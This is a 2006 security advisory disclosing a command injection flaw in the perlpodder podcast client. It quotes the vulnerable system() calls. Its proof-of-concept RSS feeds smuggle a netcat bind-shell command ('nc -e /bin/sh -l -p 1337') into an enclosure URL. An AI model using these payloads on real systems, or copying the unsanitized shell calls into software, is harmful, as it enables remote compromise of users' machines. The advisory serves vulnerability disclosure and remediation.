Advisory: Perlpodder Remote Arbitrary Command Execution

RedTeam identified a security flaw in perlpodder which makes it possible
for a malicious podcast server to execute arbitrary shell commands on
the victim's client.

### Details

- Product: perlpodder
- Affected Versions: All versions up to perlpodder-0.4
- Fixed Versions: perlpodder-0.5
- Vulnerability Type: Remote arbitrary command execution
- Security-Risk: high
- Vendor-URL: `http://perlpodder.sourceforge.net/`
- Vendor-Status: informed, fixed
- Advisory-URL: `https://www.redteam-pentesting.de/advisories/rt-sa-2006-003`
- Advisory-Status: public
- CVE: CVE-2006-2550 (echo vector)
- CVE-2006-2548 (wget vector)
- CVE-URL: `https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2550`
- `https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2548`

### Introduction

Perlpodder is a podcatcher script written in perl. It automates
downloading podcasts.

(from perlpodder SourceForge page)

Podcasting is the distribution of multimedia files over the internet.
Normally, a server is providing an RSS or Atom XML feed describing where
to get the multimedia files. The client parses the feed and may then
download the desired files.

### More Details

When perlpodder is used to fetch a podcast, perlpodder will extract the
URL of the audio-file from the XML-file the server provides. The URLs
are saved in the variable "\$dlset". There are two occasions in the code
where this variable will be used together with the system() command:

The first usage is with "echo" to log the URL (line 278):

\[...\]
277 \# add urls to log file to mark as retrieved
278 \$addurl = "echo " . \$dlset . " \>\> \$log_path ";
279 system \$addurl;
\[...\]

The second usage is with "wget" to actually fetch the audio file (line
294):

\[...\]
291 \# Prepair to call wget
292
293 \$wget_path = "\$cwd". "\$datadir" ;
294 \$wget_cmd = "wget --quiet --background -o /dev/null -c --tries=2
--timeout=20 --random-wait " . \$dlset . " -P ". \$wget_path ;
295
296 if (\$DEBUG \> 0) {
297
298 print "running " . \$wget_cmd . "n" ;
299
300 }
301
302 system \$wget_cmd;
\[...\]

Unfortunately, \$dlset is never properly sanitized, so it is possible for
the remote server to include arbitrary shell commands in the URL which
will then be executed using system() (lines 279 and 302).

### Proof of Concept

A minimal malicious server rss feed which exploits the "echo" call may
look as follows:

\<?xml version="1.0" encoding="UTF-8"?\>
\<?xml-stylesheet type="text/xsl"?\>
\<rss version="2.0"\>
\<channel\>
\<title\>RedTeam Pentesting Example Malicious Server Feed\</title\>

> \<item\>  
> \<enclosure url="`http://www.example.com/example.mp3` \>\> /dev/null; nc -e /bin/sh -l -p 1337 &amp;#"  
> length="241734" type="audio/mpeg" /\>
>
> \</item\>

\</channel\>
\</rss\>

The URL above will open port 1337 via netcat on the victim's computer
and bind a shell to it. This is just one example of how to exploit the
vulnerability, as arbitrary commands can be included in the URL, but it
should illustrate the point.

To exploit the "wget" call, the URL just has to be minimally adjusted:

\<?xml version="1.0" encoding="UTF-8"?\>
\<?xml-stylesheet type="text/xsl"?\>
\<rss version="2.0"\>
\<channel\>
\<title\>RedTeam Pentesting\</title\>

> \<item\>  
> \<enclosure url="`http://www.example.com/example.mp3`; nc -e /bin/sh -l -p 1337 &amp;#"  
> length="241734" type="audio/mpeg" /\>
>
> \</item\>

\</channel\>
\</rss\>

### Workaround

Do not use perlpodder with untrusted servers.

### Fix

Upgrade to perlpodder-0.5 immediately (<http://prdownloads.sourceforge.net/perlpodder/perlpodder-0.5.tar.gz?download>).

### Security Risk

High, because arbitrary shell commands can be executed on the victim's
computer with the privileges of perlpodder (normally the user's
privileges).

### History

- 2006-05-19 Discovery of the problem
- 2006-05-19 Notification of the author
- 2006-05-21 Fixed version of perlpodder is released
- 2006-05-22 Email from author pointing out the release
- 2006-05-22 Public release of the advisory without CVE  
  number because of public release by the
  author. CVE will be appended when available.
- 2006-05-24 CVE added
- 2009-05-08 Updated Advisory URL

### RedTeam

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performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks are uncovered and can be fixed
immediately.

As there are only few experts in this field, RedTeam wants to share its
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More information about RedTeam can be found at
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